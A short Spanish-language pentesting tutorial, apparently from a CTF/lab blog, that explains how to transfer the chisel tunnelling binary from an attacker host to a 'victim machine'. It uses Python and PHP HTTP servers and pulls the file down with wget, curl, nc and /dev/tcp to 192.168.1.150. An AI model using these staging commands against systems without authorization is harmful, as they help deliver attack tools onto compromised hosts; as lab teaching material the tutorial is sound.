Creación de servidor local
Realizaremos una pequeña explicación del método que utilizamos para transferir ficheros entre 2 máquinas.
Para los ejemplos utilizaremos chisel como el binario que transferimos y el puerto 80.
Esto es muy útil en varios escenarios, pero un ejemplo típico es cuando queremos subir un binario a la máquina víctima. En primer lugar lo que necesitamos es colocarnos en el directorio donde tenemos los ficheros que queremos transferir. Una vez ahí, existen varias formas de crear un servidor, pero vamos a comentar las más usadas:
- Python:
python3 -m http.server 80
- PHP:
php -S localhost:80
Para el ejemplo hemos utilizado el puerto 80, ya que así no sería necesario especificar el puerto para recoger el fichero. Pero si está siendo usado, o por cualquier otro motivo no se puede utilizar, se introduce el que deseemos.
Una vez hemos creado este servidor, tendremos nuestros contenidos accesibles introduciendo nuestra IP local en la máquina víctima. Para recoger esos contenidos podemos utilizar también varias formas:
- wget:
wget 192.168.1.150/chisel
- curl:
curl 192.168.1.150/chisel -o chisel
Aquí adjunto una captura real realizando la máquina propia Principle:
Bien, estas formas son las más recomendables, ya que son rápidas y versátiles, no darán problemas.
EXTRA
¿Y qué podemos hacer en caso de que no tengamos la posibilidad de usar esos binarios?Si bien es algo muy raro, podría ocurrir. En ese caso podemos usar nc. Para este ejemplo vamos a usar el puerto 4444:
Enviamos el fichero a transferir: nc -nlvp 4444 < chisel
Y lo recogemos con nc en la máquina víctima: nc 192.168.1.150 4444 > chisel
En ese caso, servimos el fichero igualmente con nc y lo vamos a recoger de esta forma:
cat > chisel < /dev/tcp/192.168.1.150/4444
Pues con esto ya estaría, hemos tocado la mayoría de casos que se nos van a dar y cómo solventarlos. Basta indicar que esto se puede realizar en cualquier dirección y combinar la forma de crear el servidor con la de recoger el fichero. Espero os haya servido.